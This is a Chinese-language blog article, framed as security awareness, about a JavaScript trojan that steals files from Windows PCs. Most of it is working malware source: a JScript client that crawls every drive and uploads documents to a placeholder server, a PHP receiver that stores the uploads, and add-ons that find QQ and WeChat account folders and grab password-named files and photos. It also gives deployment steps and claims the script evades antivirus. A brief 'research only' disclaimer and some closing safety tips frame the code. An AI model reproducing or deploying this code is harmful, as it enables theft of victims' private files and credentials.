導(dǎo)讀:在日常電腦使用中,很多小伙伴都會從互聯(lián)網(wǎng)下載網(wǎng)站或是QQ、微信等聊天軟件中進(jìn)行傳輸安裝軟件、文件等。略知網(wǎng)絡(luò)安全的朋友們都會比較謹(jǐn)慎所安裝的軟件是否安全,比如說通過殺毒軟件殺毒、通過對文件的后綴、圖標(biāo)、大小等分析,那么這樣的操作真的就是安全的嗎?
相信大家都對遠(yuǎn)程木馬有所了解,名氣最大的應(yīng)該是灰鴿子遠(yuǎn)程木馬,它就是通過后綴為exe文件誘導(dǎo)用戶點擊,從而造成個人隱私、文件的泄漏甚至金錢損失。
灰鴿子木馬界面
隨著互聯(lián)網(wǎng)安全工具越來越成熟,對之前的exe木馬文件的云查殺越發(fā)嚴(yán)格,基本上做過免殺的程序也挺不了多久就被發(fā)現(xiàn),所以像這類的遠(yuǎn)程木馬已經(jīng)慢慢消失成為歷史。
但是道高一尺魔高一丈,最新的遠(yuǎn)程木馬通過新的途徑新的方式悄然出現(xiàn),它就是利用js代碼來獵取你的電腦文件,更為可怕的是它可以通過邏輯代碼自動地進(jìn)入電腦文件中搜索預(yù)設(shè)好的文件后綴進(jìn)行分析獲取,比如說代碼只想獲取你的聊天記錄,那么它會通過檢索查找到QQ、微信等數(shù)據(jù)庫文件上傳獲取、也可以通過查找相冊等目錄獲取照片等隱私文件,危害還是非常大的,本期文章小君就對js木馬進(jìn)行分析,看它是如何獲取文件的。
首先js木馬的特點:
優(yōu)點:
- 文件小、js后綴善于隱藏,目前殺毒軟件對它用處不大,可完全通過360安全。
- 危害大,可以自動搜索目標(biāo)文件獲取。
缺點:
QQ傳輸引導(dǎo)中馬時會自動改后綴名稱,所以很大程度上是需要通過將js代碼進(jìn)行壓縮后引導(dǎo)安裝。
使用方法:
首先需要木馬使用者搭建一臺服務(wù)器,當(dāng)然也可以是虛擬空間、vps等都是可以的,然后搭建php環(huán)境,大家都知道像灰鴿子這類遠(yuǎn)程木馬都有客戶端和服務(wù)端兩部分,那么js木馬同樣也有,需要在PHP環(huán)境下上傳服務(wù)端代碼server.php文件,在網(wǎng)站目錄下新建一個目錄upload用于獲取中馬者的隱私文件,接下來就是將js代碼也就是木馬的客戶端發(fā)送給被控者引導(dǎo)點擊,如果成功點擊,遠(yuǎn)程服務(wù)器將會開始不斷收到上傳的隱私文件。
效果圖
代碼分享:
js木馬客戶端代碼如下:
var __POSTURL__ = 'http://www.xxx.com/server.php';
function UpFile(FilePath, FileName) {
var Stream = new ActiveXObject('ADODB.Stream');
Stream.Type = 1;
Stream.Open();
Stream.LoadFromFile(FilePath);
var XHR = new ActiveXObject('Msxml2.XMLHTTP' || 'Microsoft.XMLHTTP');
XHR.open('POST', __POSTURL__, false);
XHR.setRequestHeader('fileName', FileName);
XHR.setRequestHeader('enctype', 'multipart/form-data');
XHR.send(Stream.Read());
Stream.Close();
return XHR.responseText
}
function GetDriveList() {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var e = new Enumerator(fso.Drives);
var re = [];
for (; ! e.atEnd(); e.moveNext()) {
if (e.item().IsReady) {
re.push(e.item().DriveLetter)
}
}
return re
}
function GetFolderList(folderspec) {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var f = fso.GetFolder(folderspec);
var fc = new Enumerator(f.SubFolders);
var re = [];
for (; ! fc.atEnd(); fc.moveNext()) {
re.push(fc.item())
}
return re
}
function GetFileList(folderspec) {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var f = fso.GetFolder(folderspec);
var fc = new Enumerator(f.files);
var re = [];
for (; ! fc.atEnd(); fc.moveNext()) {
re.push([fc.item(), fc.item().Name])
}
return re
}
function Search(Drive) {
var FolderList = GetFolderList(Drive);
for (var i = 0; i < FolderList.length; i++) {
Search(FolderList[i])
}
var FileList = GetFileList(Drive);
for (var i = 0; i < FileList.length; i++) {
if (/.(doc|docx|xls|xlsx)$/i.test(FileList[i])) {
UpFile(FileList[i][0], FileList[i][1])
}
}
}
function Load() {
var WMIs = GetObject("winmgmts:\\.\root\cimv2");
var Items = WMIs.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'wscript.exe'");
var i = 0,
rs = new Enumerator(Items);
for (; ! rs.atEnd(); rs.moveNext()) {
i++
}
if (i > 1) WScript.Quit(0);
Items = WMIs = i = rs = null;
var DriveList = GetDriveList();
for (var i = 0; i < DriveList.length; i++) {
Search(DriveList[i] + ":\\")
}
}
Load();
PHP服務(wù)端代碼:
<?php
if($_SERVER['REQUEST_METHOD'] == 'POST'){
$fileName = uniqid(rand()) . '_' . iconv('utf-8', 'gbk', $_SERVER['HTTP_FILENAME']);
print_r(file_put_contents("uploads/{$fileName}", $HTTP_RAW_POST_DATA));
}
?>
還可以通過對js代碼的升級來實現(xiàn)更多新的功能
1、獲取微信、QQ等隱私信息
function GetQQWechat() {
var QQList = [];
var WechatList = [];
var QQPath = "C:\Users\" + USERNAME+ "\Documents\Tencent Files"
var WechatPath = "C:\Users\" + USERNAME+ "\Documents\WeChat Files"
var Patt = new RegExp(/[^\]+$/);
if (FSO.folderExists(QQPath)) {
var QQFolderList = GetFolderList(QQPath);
if (QQFolderList) {
for (var i = 0; i < QQFolderList.length; i++) {
var QQFolderStr = QQFolderList[i];
var QQResult = Patt.exec(QQFolderStr);
var QQ = "";
if (QQResult) QQ = QQResult[0];
if (QQ == "All Users") continue;
QQList.push(QQ);
}
}
}
if (FSO.folderExists(WechatPath)) {
var WechatFolderList = GetFolderList(WechatPath);
if (WechatFolderList) {
for (var i = 0; i < WechatFolderList.length; i++) {
var WechatFolderStr = WechatFolderList[i];
var WechatResult = Patt.exec(WechatFolderStr);
var Wechat = "";
if (WechatResult) Wechat = WechatResult[0];
if (Wechat == "All Users") continue;
WechatList.push(Wechat);
}
}
}
return {"QQList":QQList, "WechatList":WechatList}
}
2、通過政策表達(dá)式獲取文件名含"賬號"、"密碼"、"account"、"password"等文件
if (/((賬號|密碼|password|passwd|account)+(.*)*.(txt|doc|docx|xls|xlsx)$)|(.(JPG|PNG)$)/.test(FileList[i][1])) {
UpFile(FileList[i][0], FileList[i][1])
}
3、獲取目標(biāo)電腦用戶名
function GetUserName() {
var WshNetwork = new ActiveXObject("WScript.Network");
var UserName = WshNetwork.UserName;
return UserName;
}
XHR.setRequestHeader('userName', USERNAME);
以上代碼僅供研究,請勿非法利用!
結(jié)語:
看到這里是不是感覺自己的電腦并非那么的安全,我們在日常使用中,首先要有一定的安全意識,任何文件的傳輸,不要不做分析就隨意雙擊打開,養(yǎng)成使用殺毒軟件查殺的習(xí)慣,雖然并不能保證完全被查殺,但最起碼也能過濾百分之九十以上的木馬文件,剩下的就要靠自己的分析和判斷,莫名其妙來源文件不接,圖標(biāo)異常的不接、文件大小與所需要內(nèi)容不對等的文件不接。感謝您閱讀本期網(wǎng)絡(luò)安全普及文章,如果本文對您有所幫助請關(guān)注點贊喲,如果在網(wǎng)絡(luò)安全中遇到問題請在評論區(qū)或私信留言。